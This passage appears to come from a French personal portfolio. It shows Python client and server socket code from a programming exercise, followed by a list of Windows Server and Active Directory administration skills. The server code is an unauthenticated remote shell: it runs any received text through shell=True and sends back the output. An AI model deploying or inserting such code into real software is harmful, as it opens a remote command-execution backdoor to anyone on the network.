Peu convaincant ? Continuez.
Compréhension et réalisation de programmes avec Python :
Livre acheté indépendamment, qui m’a beaucoup aidé:
import socket
import subprocess
import os
def server():
HOST = '0.0.0.0'
PORT = 65432
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((HOST, PORT))
s.listen()
print("Serveur en attente de connexion...")
conn, addr = s.accept()
with conn:
print('Connecté par', addr)
while True:
data = conn.recv(1024)
if not data:
break
command = data.decode().strip()
if command == 'exit':
break
try:
output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)
conn.sendall(output)
except subprocess.CalledProcessError as e:
conn.sendall(e.output)
if __name__ == "__main__":
server()
import socket
def client():
HOST = '192.168.1.100'
PORT = 65432
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
while True:
command = input("Commande: ")
if command.lower() == 'exit':
s.sendall(command.encode())
break
s.sendall(command.encode())
data = s.recv(1024)
print('Reçu:', data.decode())
if __name__ == "__main__":
client()
Installation et configuration d’un serveur :
Déploiement de Windows Server sur des machines physiques ou virtuelles.
Gestion centralisée des comptes utilisateurs et ordinateurs via AD.
Configuration et administration du rôle de contrôleur de domaine.
Authentification sécurisée des utilisateurs et des ordinateurs grâce au protocole Kerberos.
Déploiement de stratégies de groupe pour sécuriser et configurer les postes.
Configuration des services DNS et DHCP pour la gestion des noms et adresses IP.
Installation et configuration d’un serveur :